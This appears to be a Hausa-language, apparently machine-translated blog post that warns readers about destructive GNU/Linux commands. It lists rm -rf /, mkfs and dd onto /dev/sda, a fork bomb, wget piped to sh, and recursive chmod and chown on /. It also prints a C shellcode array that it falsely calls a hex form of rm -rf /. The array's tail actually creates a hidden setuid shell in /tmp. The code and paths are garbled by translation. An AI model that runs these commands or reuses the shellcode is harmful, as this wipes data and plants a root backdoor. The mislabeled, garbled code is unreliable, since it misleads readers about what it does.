Umarni masu haɗari a cikin GNU / Linux

Ina kwafin umarnin da bayanin su (kuma ina kara wasu maganganun na) 😛

rm -rf /

Wannan umarnin yana sake dawowa da karfi kuma yana tilasta cire duk fayiloli da kundayen adireshi da aka adana akan tushen asalin. Saboda haka, tsarin, bayanan har ma da mahaifiyar da ta haife shi an loda su.

[lamba]

char esp [] _attribute_ ((sashe (". rubutu"))) / * esp
saki * /
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«Cp -p / bin / sh /tmp/ .a bayan; chmod 4755
/tmp/.abayan; »;

[/ lambar]

Wannan sigar hexadecimal ce ta umarnin rm -rf / hakan na iya ma wawa mafi ilimin.

mkfs.ext3 /dev/sda

Wannan umarnin na iya tsara ko share duk fayilolin da ke cikin na'urar da aka ambata bayan umarnin mkfs.

: (){:|:&};:

A gaskiya haruffa biyu na farko suna tafiya tare, : ( Abin da ya faru na raba su don kada wannan shari'ar ta fito 🙁 An san shi kamar bam ɗin cokali mai yatsa, wannan umarnin yana tambayar tsarin ku da aiwatar da adadi mai yawa har sai tsarin ya faɗi, wanda na iya haifar da lalacewar bayani.

comando > /dev/sda

Wannan umarnin zai rubuta ɗanyen bayanai zuwa wani toshe wanda yawanci zai lalata tsarin fayiloli wanda ke haifar da asarar bayanai.

wget http://fuente_poco_confiable O | sh

Kada a taba sauke rubutun ko lamba daga asalin da ba za ku iya amincewa da shi ba gaba ɗaya, ƙasa da haka idan za ku gudanar da shi ta atomatik da zarar an sauke shi.

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null

Wannan umarnin zai matsar da duk fayilolin da aka adana a babban fayil ɗinku zuwa wurin da babu shi, zai rasa dukkan bayanan ku har abada.

dd if=/dev/urandom of=/dev/sda

Wannan umarnin zai cika dukkan bangare na rumbun kwamfutarka tare da bazuwar bayanai.

chmod -R 777 /

Wannan umarnin zai ba da izinin izini ga tsarinku duka.

chmod 000 -R /
chown nobody:nobody -R /

Wannan umarnin yana cire duk wata dama ga duk masu amfani akan tsarin ban da Tushen.

yes > /dev/sda

Wannan umarnin zai cika rumbun kwamfutarka tare da harafin 'y'.

rm -rf /boot/

Wannan umarnin yana cire dukkan kwaya, initrd, da GRUB / LILO fayilolin da ake buƙata don kora tsarin.

rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;

Wannan umarnin zai share duk fayilolin da ke ƙunshe da kalmar 'init', har ma'/sbin/init'.